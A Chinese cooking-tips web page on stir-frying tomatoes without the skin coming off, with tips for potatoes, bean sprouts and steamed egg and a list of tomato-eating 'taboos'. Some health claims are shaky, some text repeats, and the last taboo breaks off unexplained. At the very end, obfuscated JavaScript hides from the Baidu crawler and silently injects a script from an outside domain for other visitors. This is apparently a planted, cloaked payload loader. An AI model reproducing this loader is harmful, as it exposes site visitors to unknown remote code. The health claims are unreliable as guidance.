當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

怎么炒西紅柿才不掉皮?炒西紅柿的技巧

2015-11-24 21:29:30  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:炒西紅柿是我們家里很常遇到的一道菜,一般吃的最多的就是西紅柿炒雞蛋,那么,你們知道怎么炒西紅柿不掉皮嗎?其實(shí)將切好的西紅柿過一遍油,再炒就不會(huì)掉下皮。

怎么炒西紅柿才不掉皮?炒西紅柿的技巧

怎么炒西紅柿才不掉皮?炒西紅柿的技巧

炒西紅柿是我們家里很常遇到的一道菜,一般吃的最多的就是西紅柿炒雞蛋,那么,你們知道怎么炒西紅柿不掉皮嗎?

西紅柿炒雞蛋真是“化腐朽為神奇”。首先,雞蛋吃多了,膽固醇容易升高。而西紅柿含有豐富的番茄紅素,可以軟化血管,起到保護(hù)心血管的作用。因此,雞蛋“遇上”西紅柿,就能規(guī)避膽固醇高的弊端。

因體虛、年老而感到眼睛昏花的人,女性在經(jīng)期以及經(jīng)后,貧血、血虧的人等不妨多吃西紅柿炒雞蛋。西紅柿含有豐富的番茄紅素,可以軟化血管,起到保護(hù)心血管的作用。不過需要注意的是,胃寒的人,炒西紅柿雞蛋時(shí),一定要先把西紅柿完全炒熟,吃生的不易消化,會(huì)引起胃部不適。

其次,西紅柿含有豐富的維生素C和胡蘿卜素,與雞蛋同炒,就是植物蛋白和動(dòng)物蛋白的完美結(jié)合。最后,西紅柿中含有胡蘿卜素,雞蛋中含有核黃素,兩種營養(yǎng)物質(zhì)相融合,可以起到明目的作用。

“這道菜基本上適合所有人群。”營養(yǎng)專家指出,尤其是以下人群更應(yīng)該多吃這道菜。因體虛、年老而感到眼睛昏花的人,女性在經(jīng)期以及經(jīng)后,貧血、血虧的人等不妨多吃西紅柿炒雞蛋。

不過需要注意的是,胃寒的人,炒西紅柿雞蛋時(shí),一定要先把西紅柿完全炒熟,吃生的不易消化,會(huì)引起胃部不適。

怎樣炒西紅柿不掉皮

方法:將切好的西紅柿過一遍油,再炒就不會(huì)掉下皮。

怎樣炒土豆不變色

方法:將切好的土豆片或土豆絲在炒前用涼水浸泡一會(huì),然后將浸泡的水倒掉,用涼水再?zèng)_一遍,這樣炒土豆就不會(huì)變色。

怎樣炒豆芽沒有腥味

方法:先將洗好的豆芽放在水里焯,開鍋后用漏勺撈出,再過一遍涼水,然后放入油鍋中炒,這樣炒出的豆芽就沒有豆腥味了。

怎樣蒸蛋羹不沾碗

方法:在蒸雞蛋羹之前,先在碗里抹一層油,再放進(jìn)調(diào)好的雞蛋和水,蒸出來的蛋羹就不沾碗了。

吃西紅柿的幾大禁忌

1、不宜和青瓜同食

青瓜含有一種維生素C分解酶,會(huì)破壞其他蔬菜中的維生素C,番茄富含維生素C,假如二者一起食用,會(huì)達(dá)不到補(bǔ)充營養(yǎng)的效果。

2、服用肝素、雙香豆素等抗凝血藥物時(shí)不宜食

番茄含維生素K較多,維生素K主要催化肝中凝血酶活素的合成。維生素K不足時(shí),會(huì)使凝血時(shí)間延長(zhǎng)造成皮下和肌肉出血。

3、空腹時(shí)不宜食用

番茄含有大量可溶性收斂劑等成分,與胃酸發(fā)生反應(yīng),凝聚成不溶解的塊狀物,輕易引起胃腸脹滿、疼痛等不適癥狀。

4、不宜食用未成熟的番茄

青番茄含有生物堿甙(龍葵堿),食用后輕則口腔感到苦澀,重時(shí)還會(huì)有中毒現(xiàn)象。

5、不宜長(zhǎng)久加熱烹制后食用

長(zhǎng)久加熱烹制后會(huì)失去原有的營養(yǎng)與味道。

6、服用新斯的明或加蘭他敏時(shí)禁食

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}